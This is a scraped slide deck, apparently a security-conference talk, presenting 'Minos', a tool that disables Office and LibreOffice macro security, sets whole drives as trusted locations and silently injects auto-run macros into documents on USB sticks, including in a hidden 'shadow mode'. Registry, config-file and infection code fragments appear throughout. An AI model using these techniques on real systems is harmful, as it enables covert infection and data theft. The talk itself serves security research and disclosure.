The Office Demon : Minos Jonathan Dechaux dechaux@esiea-ouest.fr - - PowerPoint PPT Presentation

▶
the office demon minos
SMART_READER_LITE
LIVE PREVIEW

The Office Demon : Minos Jonathan Dechaux dechaux@esiea-ouest.fr - - PowerPoint PPT Presentation

Jan 18, 2023 208 likes •636 views

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion The Office Demon : Minos Jonathan Dechaux dechaux@esiea-ouest.fr Ecole Suprieure en

slide-1
SLIDE 1

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion

The Office Demon : Minos

Jonathan Dechaux dechaux@esiea-ouest.fr

Ecole Supérieure en Informatique, Electronique et Automatique Operational cryptology and virology Lab. 38 rue des docteurs Calmette & Guerin, 53000 Laval France

  • J. Dechaux

The Office Demon : Minos

slide-2
SLIDE 2

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion

1

Introduction Cyberwarfare and Cyberweapons

2

(Libre)Office security architecture Macro Security in MSO Macro Security in LibreOffice

3

How to Bypass (Libre)Office security Proof of concept

4

How to infect Office documents Documents infection Static infection Dynamic infection

5

Demonstrations Minos interface Scenarii Demos Work of Minos

6

Conclusion Conclusion

  • J. Dechaux

The Office Demon : Minos

slide-3
SLIDE 3

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Cyberwarfare and Cyberweapons

1

Introduction Cyberwarfare and Cyberweapons

2

(Libre)Office security architecture

3

How to Bypass (Libre)Office security

4

How to infect Office documents

5

Demonstrations

6

Conclusion

  • J. Dechaux

The Office Demon : Minos

slide-4
SLIDE 4

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Cyberwarfare and Cyberweapons

Cyberwarfare and Cyberweapons

Reallity of cyberwarfare August 2007: Espionage case of China against German chancelery. 163 Gb of Gouvernemental data stolen through a Trojan-infected Office document. 2009 - 2010: Chinese hackers succeeded in stealing economic and financial data from European Banks, through malicious PDFs. Document as cyberweapons (Open)Office document are good vectors. PDF documents are also used nowadays.

  • J. Dechaux

The Office Demon : Minos

slide-5
SLIDE 5

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Cyberwarfare and Cyberweapons

Which applications are concerned? Office 2003, 2007, 2010, 2013 OpenOffice 3.x, LibreOffice 3.x All office applications.

  • J. Dechaux

The Office Demon : Minos

slide-6
SLIDE 6

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Cyberwarfare and Cyberweapons

Purpose of Minos

How to manage all Office documents and security against users One interface for all applications Cross-platform for different operating systems Static and dynamic infection Make some demos easily

  • J. Dechaux

The Office Demon : Minos

slide-7
SLIDE 7

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Cyberwarfare and Cyberweapons

The genesis of Minos

A USB Dumper base Improve USB Dumper (functionalities and principle) Manage the security and the documents Static and dynamic infection New design created with Qt (Cross-platform development tool)

  • J. Dechaux

The Office Demon : Minos

slide-8
SLIDE 8

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Macro Security in MSO Macro Security in LibreOffice

1

Introduction

2

(Libre)Office security architecture Macro Security in MSO Macro Security in LibreOffice

3

How to Bypass (Libre)Office security

4

How to infect Office documents

5

Demonstrations

6

Conclusion

  • J. Dechaux

The Office Demon : Minos

slide-9
SLIDE 9

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Macro Security in MSO Macro Security in LibreOffice

MSO: Execution level security settings

Possible level of security Level 4 (0x00000004): Disable all macros without notification. Level 3 (0x00000002): Disable all macros with notifiation. Level 2 (0x00000003): Disable all macros except digitally signed macros. Level 1 (0x00000001): Enable all macros.

  • J. Dechaux

The Office Demon : Minos

slide-10
SLIDE 10

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Macro Security in MSO Macro Security in LibreOffice

MSO: Execution level security settings

Location of settings Registery key : HKEY_CURRENT_USER \Software\Microsoft\Office\ < Version> \ <Application> \Security Application = {Word, Excel, Powerpoint, Access} Version = {11.0, 12.0, 14.0, 15.0}

  • J. Dechaux

The Office Demon : Minos

slide-11
SLIDE 11

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Macro Security in MSO Macro Security in LibreOffice

MSO: Trusted Location

Definition Trusted location: A trusted location is a directory where macros

  • f documents stored inside are allowed to be executed

automatically. Stored in the registry HKEY_CURRENT_USER \Software\Microsoft\Office\ <Version> \ <Application> \Security\ Trusted Location. trust value. Standalone settings: modifying Word’s settings does not affect

  • ther Office program’s settings.
  • J. Dechaux

The Office Demon : Minos

slide-12
SLIDE 12

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Macro Security in MSO Macro Security in LibreOffice

LO: Macro Security

Security settings Both Macro security level, trusted locations and Macros Application are defined in "registrymodifications.xcu" file at: C:\Users\ <UserName> \AppData\Roaming\LibreOffice\3\user Example

<item oor:path="/org.openoffice.Office.Common/Security/ Scripting"> <prop oor:op="fuse" oor:name="MacroSecurityLevel"> <value>2</value> </prop> </item>

  • J. Dechaux

The Office Demon : Minos

slide-13
SLIDE 13

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Macro Security in MSO Macro Security in LibreOffice

LO: Trusted Location

Example Set the root directory as Trusted location

<item oor:path="/org.openoffice.Office.Common/Security/ Scripting"> <prop oor:op="fuse" oor:name="SecureURL"> <value> <it>file:///C:/</it> </value> </prop> </item>

  • J. Dechaux

The Office Demon : Minos

slide-14
SLIDE 14

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Macro Security in MSO Macro Security in LibreOffice

LO: Macros Application

Example Set a macro for all documents who will be opened

<item oor:path="/org.openoffice.Office.Events/ ApplicationEvents/Bindings"> <node oor:op="replace" oor:name="OnLoad"> <prop oor:op="fuse" oor:name="BindingURL"> <value> vnd.sun.star.script:Standard.Module1.Main? language=Basic&location=application </value> </prop> </node> </item>

  • J. Dechaux

The Office Demon : Minos

slide-15
SLIDE 15

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

1

Introduction

2

(Libre)Office security architecture

3

How to Bypass (Libre)Office security Proof of concept

4

How to infect Office documents

5

Demonstrations

6

Conclusion

  • J. Dechaux

The Office Demon : Minos

slide-16
SLIDE 16

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

MSO case

Change to the lowest level: 0

Interesting Keys: HKEY_CURRENT_USER Path: Software\\Microsoft\\Office\\14.0\\Word\\Security Windows API: RegSetValueEx, RegCreateKeyEx, RegCloseKey Example

RegCreateKeyEx(HKEY_CURRENT_USER, path, 0, KEY_ALL_ACCESS, &hkey); RegSetValueEx(hKey, warning, 0, REG_WORD, (const BYTE*)nNumber, sizeof(number)); RegCloseKey(hkey);

  • J. Dechaux

The Office Demon : Minos

slide-17
SLIDE 17

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

MSO case

Set the directory c:\Users as a Trusted Location.

KEY: HKEY_CURRENT_USER Path: Software\\Microsoft\\Office\\14.0\\Word\\Security\\ Trusted Locations\\Location3 Example RegCreateKeyEx(HKEY_CURRENT_USER,path, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, NULL)

  • J. Dechaux

The Office Demon : Minos

slide-18
SLIDE 18

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

MSO case

Set the directory c:\Users as a Trusted Location.

Example

RegSetValueEx(hKey, description, 0, REG_SZ, (const BYTE*)("1"), 32); RegSetValueEx(hKey, path_t, 0, REG_SZ, (const BYTE*)TEXT("C:\\Users\\"), 32); RegSetValueEx(hKey, allow, 0, REG_DWORD, (const BYTE*)&number, sizeof(number)); RegCloseKey(hkey);

  • J. Dechaux

The Office Demon : Minos

slide-19
SLIDE 19

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

LibreOffice

Change the security

QT Xml functions

1

Define the XML file: QFile xml_doc(path);

2

Variables: QDomDocument doc, QDomElement element

3

Get the content of the file: doc.setContent(&xml_doc, true)

4

Attributes: QString oor_path = element.attribute("oor:path");

5

Create node: QDomElement prop = doc.createElement("prop");

6

Set a node attribute: prop.setAttribute("oor:name", "MacroSecurityLevel");

7

Create a value: QDomText data = doc.createTextNode(0);

8

Add a node to the document: item.appendChild(prop);

  • J. Dechaux

The Office Demon : Minos

slide-20
SLIDE 20

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

LibreOffice

Change the Macro security level to the lowest: 0

The Algorithm

1

Locate the nodes: item, prop, value

2

Locate the values: oor:path, oor:name

3

Change or insert the value <item oor:path="/org.openoffice.Office.Common/Security/ Scripting"> <prop oor:op="fuse" oor:name="MacroSecurityLevel"> <value>0</value> </prop> </item>

  • J. Dechaux

The Office Demon : Minos

slide-21
SLIDE 21

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

LibreOffice

Set the directory c: as a Trusted Location.

The Algorithm

It is exactly the same algorithm that manages the security level. <item oor:path="/org.openoffice.Office.Common/Security/ Scripting"> <prop oor:op="fuse" oor:name="SecureURL"> <value> <it>file:///C:/</it> </value> </prop> </item>

  • J. Dechaux

The Office Demon : Minos

slide-22
SLIDE 22

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Proof of concept

LibreOffice

Set a macro at the opening of every document

The Algorithm

It is exactly the same algorithm that manages the security level. <item oor:path="/org.openoffice.Office.Events/ ApplicationEvents/Bindings"> <node oor:op="replace" oor:name="OnLoad"> <prop oor:op="fuse" oor:name="BindingURL"> <value> vnd.sun.star.script:Standard.Module1.Main? language=Basic&location=application </value> </prop> </node> </item>

  • J. Dechaux

The Office Demon : Minos

slide-23
SLIDE 23

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

1

Introduction

2

(Libre)Office security architecture

3

How to Bypass (Libre)Office security

4

How to infect Office documents Documents infection Static infection Dynamic infection

5

Demonstrations

6

Conclusion

  • J. Dechaux

The Office Demon : Minos

slide-24
SLIDE 24

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Documents infection

Two ways of infection Static infection Dynamic infection Save all documents before infection.

  • J. Dechaux

The Office Demon : Minos

slide-25
SLIDE 25

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

USB Dumper

Collect and infect Collect all documents from a USB device. Add a word or excel macro for each document of those types. No control of existing macro document (no error management).

  • J. Dechaux

The Office Demon : Minos

slide-26
SLIDE 26

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Minos

New USB Dumper Collect all documents from a USB device/Folder. Add a word, excel, text and spreadsheet macro for each documents of those types (Word, Excel, LibreOffice). Two ways of macro infection: replacement and injection. Error management and secure opening for macro document.

  • J. Dechaux

The Office Demon : Minos

slide-27
SLIDE 27

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Documents Infection

Infection algorithm Copy the original document to a temporary folder Rename the temporary document with a random name Infect the document and copy-erase the original document

  • J. Dechaux

The Office Demon : Minos

slide-28
SLIDE 28

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Documents Infection

QT Xml and C functions for MSO

1

Call the MSO application: QAxObject word("Word.Application");

2

Simulate key press: keybd_event(VK_SHIFT, 0, 0, 0);

3

Open the file: QAxObject * doc = documents->querySubObject("Open(const QString&)", path);

4

Get the VBProject, VBComponents, CodeModule properties: QAxObject * vbcodemodule = vbcomponent->querySubObject("CodeModule");

5

Insert our data: vbcodemodule->dynamicCall("InsertLines(short, const QString&)", 1, data);

  • J. Dechaux

The Office Demon : Minos

slide-29
SLIDE 29

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Documents Infection

QT Xml and C functions for LO

1

LO document: ZIP archive with XML documents

2

Unzip the file, Insert the macro, Zip the folder

3

Same XML functions/variables used to modify the LO security

  • J. Dechaux

The Office Demon : Minos

slide-30
SLIDE 30

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Macro Infection

Macro replacement Open the document in secure mode to disable open macro. Find macros and replace the macro if existing. If it’s not existing, add the macro. Example

Sub Document_Open() MsgBox "Hello Hack.Lu" End Sub Find the Macro Document_Open() and replace the entire macro by our. If it’s not existing, add the macro.

  • J. Dechaux

The Office Demon : Minos

slide-31
SLIDE 31

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Macro Infection

Macro injection Open the document in secure mode to disable open macro. Find macros and add the macro next to them. If it’s not existing, add the macro next to other macros. Example

Sub Document_Open() MsgBox "Hello Hack.Lu" End Sub Find the Macro Document_Open() and add the content of our macro at the beginning. If it’s not existing, add the macro next to other macros.

  • J. Dechaux

The Office Demon : Minos

slide-32
SLIDE 32

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Static infection

Document or Folder Save all documents Copy each document in a temp folder with a temp name Infect each document with a predefined macro Replace each original document

  • J. Dechaux

The Office Demon : Minos

slide-33
SLIDE 33

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Dynamic infection

USB Stick Recognize a new USB device plugged Save all documents Copy each document in a temp folder with a temp name Infect each document with a predefined macro Replace each original document

  • J. Dechaux

The Office Demon : Minos

slide-34
SLIDE 34

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Documents infection Static infection Dynamic infection

Dynamic infection

new USB device plugged Rewritting the win event: bool MaFenetre::winEvent(MSG * msg, long * retVal) Get the info of a device change: if(msg->message == WM_DEVICECHANGE) Check if the device is arriving: if(msg->wParam == DBT_DEVICEARRIVAL) Get the letter of the device: char drive = FirstDriveFromMask(lpdbv->dbcv_unitmask); Use function on the device: PostMessage(msg->hwnd, WM_GETFILE, (WPARAM)szDrive, 0);

  • J. Dechaux

The Office Demon : Minos

slide-35
SLIDE 35

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Minos interface Scenarii Demos Work of Minos

1

Introduction

2

(Libre)Office security architecture

3

How to Bypass (Libre)Office security

4

How to infect Office documents

5

Demonstrations Minos interface Scenarii Demos Work of Minos

6

Conclusion

  • J. Dechaux

The Office Demon : Minos

slide-36
SLIDE 36

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Minos interface Scenarii Demos Work of Minos

Screenshot

  • J. Dechaux

The Office Demon : Minos

slide-37
SLIDE 37

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Minos interface Scenarii Demos Work of Minos

Scenarii

Open Cyber computer Minos in shadow mode (no icon, no menu, hidden) Get all documents Infect all USB documents Get more informations from the activation of powerfull macros

  • J. Dechaux

The Office Demon : Minos

slide-38
SLIDE 38

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Minos interface Scenarii Demos Work of Minos

Demonstrations

Powerfull usage of Minos Change the security Add a trusted location Add a macro application Infect a USB stick

  • J. Dechaux

The Office Demon : Minos

slide-39
SLIDE 39

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Minos interface Scenarii Demos Work of Minos

Minos

Work of Minos Product is not public, neither the source code In the Cyber Attack context, could interest governments (Law LOPSSI II and European counterpart).

  • J. Dechaux

The Office Demon : Minos

slide-40
SLIDE 40

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Conclusion

1

Introduction

2

(Libre)Office security architecture

3

How to Bypass (Libre)Office security

4

How to infect Office documents

5

Demonstrations

6

Conclusion Conclusion

  • J. Dechaux

The Office Demon : Minos

slide-41
SLIDE 41

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Conclusion

Conclusion

(Open)Office are efficient cyberweapons Manage all the security for Microsoft Office and LibreOffice Interface to infect some documents for demos Can be use on public computer to collect some data Futher works: Trusted documents, Office 2013, LibreOffice 3.6

  • J. Dechaux

The Office Demon : Minos

slide-42
SLIDE 42

Outline Introduction (Libre)Office security architecture How to Bypass (Libre)Office security How to infect Office documents Demonstrations Conclusion Conclusion

Thank you for your attention. Do you have any questions?

  • J. Dechaux

The Office Demon : Minos